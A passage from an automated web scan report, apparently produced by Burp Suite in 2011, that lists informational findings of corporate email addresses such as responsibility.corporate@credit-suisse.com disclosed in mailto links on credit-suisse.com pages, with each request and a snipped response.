<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.65. https://www.credit-suisse.com/responsibility/en/initiatives/initiatives_microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/initiatives_microfinance.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/initiatives/initiatives_microfinance.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31378

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.66. https://www.credit-suisse.com/responsibility/en/initiatives/microfinance_accion.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/microfinance_accion.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/initiatives/microfinance_accion.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.67. https://www.credit-suisse.com/responsibility/en/measures_in_regions.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/measures_in_regions.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/measures_in_regions.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32080

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.68. https://www.credit-suisse.com/responsibility/en/objectives.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/objectives.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/objectives.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31775

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.69. https://www.credit-suisse.com/responsibility/en/philanthropy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/philanthropy.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29714

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.70. https://www.credit-suisse.com/responsibility/en/philanthropy_apac.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_apac.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/philanthropy_apac.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32309

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.71. https://www.credit-suisse.com/responsibility/en/philanthropy_application.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_application.jsp

Issue detail

The following email addresses were disclosed in the response:

csf.disasterrelief@credit-suisse.com
csg.foundations@credit-suisse.com
emea.philanthropy@credit-suisse.com
foundation.americas@credit-suisse.com
philanthropy.ap@credit-suisse.com
responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/philanthropy_application.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29546

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:csg.foundations@credit-suisse.com">csg.foundations@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:csf.disasterrelief@credit-suisse.com">csf.disasterrelief@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:foundation.americas@credit-suisse.com">foundation.americas@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:emea.philanthropy@credit-suisse.com">emea.philanthropy@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:philanthropy.ap@credit-suisse.com">philanthropy.ap@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.72. https://www.credit-suisse.com/responsibility/en/philanthropy_emea.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_emea.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/philanthropy_emea.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.73. https://www.credit-suisse.com/responsibility/en/philanthropy_global.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_global.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/philanthropy_global.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.74. https://www.credit-suisse.com/responsibility/en/philantropy_americas.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philantropy_americas.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/philantropy_americas.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32600

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.75. https://www.credit-suisse.com/responsibility/en/reporting.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/reporting.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/reporting.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29171

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.76. https://www.credit-suisse.com/responsibility/en/society/dialogue.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/dialogue.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/dialogue.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30006

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.77. https://www.credit-suisse.com/responsibility/en/society/employer.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/employer.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/employer.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29312

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.78. https://www.credit-suisse.com/responsibility/en/society/expertise.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/expertise.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/expertise.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.79. https://www.credit-suisse.com/responsibility/en/society/homemarket.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/homemarket.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/homemarket.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30205

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.80. https://www.credit-suisse.com/responsibility/en/society/opinion_leaders.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/opinion_leaders.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/opinion_leaders.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34558

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.81. https://www.credit-suisse.com/responsibility/en/society/public_debate.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/public_debate.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/public_debate.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 36185

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.82. https://www.credit-suisse.com/responsibility/en/society/salon.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/salon.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/salon.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 35214

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.83. https://www.credit-suisse.com/responsibility/en/society/sponsoring_switzerland.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/sponsoring_switzerland.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/sponsoring_switzerland.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33321

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.84. https://www.credit-suisse.com/responsibility/en/society/svc_risikokapital.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/svc_risikokapital.jsp

Issue detail

The following email address was disclosed in the response:

info@svc-risikokapital.ch

Request

GET /responsibility/en/society/svc_risikokapital.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:info@svc-risikokapital.ch">
...[SNIP]...

14.85. https://www.credit-suisse.com/responsibility/en/society/switzerland.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/switzerland.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/society/switzerland.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.86. https://www.credit-suisse.com/responsibility/en/suppliers_partners.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/suppliers_partners.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/suppliers_partners.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.87. https://www.credit-suisse.com/responsibility/en/sustainability_rating.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/sustainability_rating.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/en/sustainability_rating.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.88. https://www.credit-suisse.com/responsibility/it/accessibility.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/it/accessibility.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/it/accessibility.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:53:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.89. https://www.credit-suisse.com/responsibility/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/it/index.jsp

Issue detail

The following email address was disclosed in the response:

responsibility.corporate@credit-suisse.com

Request

GET /responsibility/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:53:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28649

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:responsibility.corporate@credit-suisse.com">
...[SNIP]...

14.90. https://www.credit-suisse.com/us/asset_management/en/awards/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/awards/index.jsp

Issue detail

The following email address was disclosed in the response:

media.relations@credit-suisse.com

Request

GET /us/asset_management/en/awards/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a title="Contact Media Relations" href="mailto:media.relations@credit-suisse.com">media.relations@credit-suisse.com</a>
...[SNIP]...

14.91. https://www.credit-suisse.com/us/equities/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.92. https://www.credit-suisse.com/us/equities/en/brazilian_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/brazilian_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/brazilian_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 24575

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.93. https://www.credit-suisse.com/us/equities/en/customized_solutions.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/customized_solutions.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/customized_solutions.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20395

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.94. https://www.credit-suisse.com/us/equities/en/emerging_market_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/emerging_market_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/emerging_market_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17802

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.95. https://www.credit-suisse.com/us/equities/en/european_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/european_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/european_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
